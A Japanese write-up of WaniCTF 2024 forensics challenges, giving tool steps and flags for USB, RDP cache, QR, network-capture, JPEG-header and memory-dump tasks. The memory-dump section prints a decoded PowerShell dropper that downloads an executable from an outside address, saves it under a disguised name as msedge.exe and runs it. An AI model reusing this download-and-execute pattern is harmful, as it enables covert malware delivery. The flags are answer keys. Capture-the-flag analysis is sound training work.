Forensics Challenge Solutions
本稿では、WaniCTF 2024 における Forensics カテゴリの主要課題について、技術的な分析手順および解決方法を詳述する。
tiny_usb
USB デバイスのイメージファイルに対する初期分析課題である。Magnet AXIOM などの商用フォレンジックスイートを活用すれば、内部構造の可視化が容易であり、フラグの所在を特定できる。
解答:FLAG{hey_i_just_bought_a_usb}
Surveillance_of_sus
RDP(Remote Desktop Protocol)キャッシュファイルの解析を行う。.bin ファイルとして提供されたデータを 010 Editor で開き、フォーマットを確認後、専用ツールの bmc-tools.py を使用してビットマップデータを展開する。
展開された複数の .bmp ファイルから関連する断片を抽出し、パズル形式で組み合わせることでフラグへ辿り着く。この課題での鍵となる単語は「yipeee」である。
解答:FLAG{RDP_is_useful_yipeee}
codebreaker
提供された画像情報から QR コードを再構築する問題である。手動調整が必要となり、qrazybox 等のエミュレーターを使用してエラー訂正(Reed-Solomon Decoder)を適用すると復号完了となる。
解答:FLAG{How_scan-dalous}
I_wanna_be_a_streamer
ネットワークキャプチャデータの解析タスク。Wireshark でトラフィックを確認すると、H.264 エンコードされた動画ストリームが検知される。
- RTP パケットの再構成を行う。
Wiresharkのプラグイン機能を利用し、.264 ファイルへの分解を促進する。- 出力された動画ファイルを再生環境でチェックする。
最終的な再生確認においてメッセージを確認する。
解答:FLAG{Th4nk_y0u_f0r_W4tching}
tiny_10px
画像ファイルのヘッダー情報を改変して特定の条件を満たす問題。CyberChef を用いてバイナリ編集を試行錯誤し、適当なパラメータを見つけることが必要。
JPEG フォーマットのサイズ変更により、以下のようなヘッダーシークエンスへ修正することで正答に至る。
変更前: ...
変更後: ff c0 00 11 08 00 a0 00 a0
解答:FLAG{b1g_en0ugh}
mem_search
メモリダンプファイル(.DUMP)からの証拠収集課題。Axiom では識別が難しかったため、Volatility 3 を使用して低レベルな分析を実施する。
まず、システム情報の確認を行って OS バージョンやベースアドレスを取得する。
$ python vol.py -f chal_mem_search.DUMP windows.info
情報が入手できた段階で、存在するファイルをスキャンする必要がある。
$ python vol.py -f chal_mem_search.DUMP windows.filescan
スキャン結果より read_this_as_admin.lnknload および関連するダウンロードファイルが存在することを確認。これらを物理アドレスに基づいてダмп(dump)取得する。
$ python vol.py -f chal_mem_search.DUMP windows.dumpfiles --virtaddr 0xcd88cebae1c0
$ python vol.py -f chal_mem_search.DUMP windows.dumpfiles --virtaddr 0xcd88cebc26c0
取得したテキストデータ内には Power Shell スクリプトが含まれており、Base64 エンコードされた文字列が発見される。これをデコードすると以下のスクリプトが得られる。
$downloadUrl = 'http://192.168.0.16:8282/B64_decode_RkxBR3tEYXl1bV90aGlzX2lzX3NlY3JldF9maWxlfQ%3D%3D/chall_mem_search.exe';
$targetDir = 'WaniTemp';
New-Item -ItemType Directory -Force -Path "$env:TMP\..\$targetDir";
try {
Invoke-WebRequest -Uri $downloadUrl -OutFile "${targetDir}\msedge.exe";
& "${targetDir}\msedge.exe";
} catch {
# Error handling
}
このスクリプトは悪意のある実行ファイルを仮装名で保存するものである。URL 内に埋め込まれた Base64 シーケンス RkxBR3tEYXl1bV90aGlzX2lzX3NlY3JldF9maWxlfQ を直接デコードすることで真のフラグが得られる。
解答:FLAG{Dayum_this_is_secret_file}
補足情報:Reverse Engineering を実施した場合、別のメッセージが潜んでいる可能性がある。IDA Pro 等で chall_mem_search.exe を逆アセンブルすると、以下のコードが参照される。
int32_t sub_461730() {
// ... initialization ...
MessageBoxW(nullptr, u"B64 decode this!!! RkxBR3tIYWNrZWRfeWlrZXNfc3Bvb2t5fQ", u"Wani Hackase", MB_OK);
return 0;
}
ここに含まれる文字列 RkxBR3tIYWNrZWRfeWlrZXNfc3Bvb2t5fQ は偽のフラグを示唆している。